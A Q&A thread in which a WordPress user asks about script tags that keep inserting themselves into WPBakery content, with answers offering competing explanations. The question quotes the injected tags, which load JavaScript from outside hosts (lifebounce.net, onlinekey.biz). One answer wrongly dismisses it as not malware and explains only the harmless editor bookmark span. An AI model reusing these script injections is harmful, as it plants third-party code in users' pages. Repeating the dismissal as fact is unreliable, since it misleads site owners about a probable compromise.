How to get rid of this weird piece of code automatically added to my content? - wordpress

Question

I've got this weird issue.
On my WordPress site, when I use WpBakery to add some content
I'm getting this code added in:
<p><script src="//lifebounce.net/1f9f5ee62aefca3cb1.js" async="" type="text/javascript"></script><script src="https://onlinekey.biz/optout/set/lat?jsonp=__mtz_cb_550940944&key=1f9f5ee62aefca3cb1&cv=1571504038&t=1571504040362" type="text/javascript"></script><script src="https://onlinekey.biz/optout/set/lt?jsonp=__mtz_cb_742169584&key=1f9f5ee62aefca3cb1&cv=1189237&t=1571504040362" type="text/javascript"></script></p>
<p> </p>
<span data-mce-type="bookmark" style="display: inline-block; width: 0px; overflow: hidden; line-height: 0;" class="mce_SELRES_start"></span>
Screen Shot
It adds itself to each block of content inside wpBakery editor.
I've got the same problem on my other WordPress site, and they are not on the same hosting.
I couldn't find any answers on google. Is this anything new?
Thank you for your help!
Chris

Answer 1

This auto insert described above is Not an infection by malware or some rogue script or plugin.
I got the same problem with this auto insert made by the WordPress editor when using my own <script></script> tags entered when in Text mode. The auto insert I got was:
<span style="display: inline-block; width: 0px; overflow: hidden; line-height: 0;" data-mce-type="bookmark" class="mce_SELRES_start"></span>
I did a Google search and found the answer,
...this auto-insert issue into WordPress editors and likely affecting WP Bakery as well since WP Bakery is used in place of the WordPress editor.
First, the reference: https://core.trac.wordpress.org/ticket/44275
In the reference page, go to the entry by the WordPress core editor: "#azaozz" (the last entry. What he said in his first paragraph answers the problem.)
This is the "bookmark" inserted to keep the cursor position when switching Visual -> Text or Text -> Visual in the classic editor. - #azaozz
I tested what he said and he was correct. Each time I left my cursor in-between my script tags, I got the auto insert. When I placed the cursor beside regular HTML source code as P tags or DIV tags or anything else that is not a script, there was no auto insert.
As much as #azaozz said this was an edge case, I think it is not an edge case, based on what I found. The bookmark (auto insert) feature made by WordPress does not have issues with common HTML tags the average user may use in WordPress, it has issue with HTML script tags.
Test with WPBakery
I did a test using WPBakery. I inserted a Text Block module with dummny text. I switched to Text view mode and inserted a dummy script embedded in DIV tags as follows;
<div><script>function FAKE(){document.getElementById("NONE").checked = true;}</script></div>
When I left the cursor somewhere between the script tags, I got the auto insert occurring as described above.
Removing the auto insert, I then left the cursor at the end of the closing DIV tag and switched view modes, the auto insert did not happen.
How to Fix
The Fix for this is just being aware where your cursor is left sitting when in Text mode and ensure it is not left in between any script tags. This is an annoying thing, but this issue was created by the bookmark feature WordPress designed.

Answer 2

I have same problem and i found it was only Chrome i try turn off extentions and was it "WhatsGreen Multi Messenger"

Answer 3

I just want to add:
I found this appearing on a new Bitnami WordPress instance, so I cleared the database completely, still there. Then I deleted all the WordPress files, still there. So then I terminated the instance on AWS Console, created a brand new Bitnami WordPress instance, and just as it comes, there script was still there:
Although, it seems to appear initially when the classic editor is used rather than Gutenburg - especially when switching from Visual to Text on the page or post editor.

Answer 4

I wanted to get some clarity for others who have experienced this as well.
Go into Add Post/Page/Product/etc
2)Click on Text
3)Delete all that snippet/code/etc
4)Add your content/words/etc
5)Click Publish/Update Post/Page/etc
6)Update in Visual
7)Update Post/Page/etc
Hope this helps, it helped me and I did the upgrade and deleting plugins.
As far as the deleting everything and starting over, it will still happen until wordpress does a site wide upgrade to remove it through their own mediums.

Answer 5

I found this issue with wpbakery. There was a blank text box in the edit mode of the page.

Answer 6

Most likely your site is infected.
As both sites happen this infection can be coming in many ways.
First option
Tip Try installing a new version of wordpress on your local machine, install all the plugins and themes you use and see if it happens.
If this does not happen then your site has actually been infected.
Second option
Uninstall unnecessary plugins until you find which one is causing it. but if the infection is already occurring in more than one location you will probably not be able to detect it.
Deactivate one plugin at a time and try saving again without the code and see if it happens.
Do this one plugin at a time until the code stops injecting itself.
If this does not happen then your site is already infected in other files.
Third and last solution
If the second option does not work and the first option is all normal, the best option is to delete everything from the online server and re-install wordpress and plugins and install a good security plugin.
And if possible disable file changes on the server. This way even if a plugin has some flaws it will not be possible to edit any wordpress file.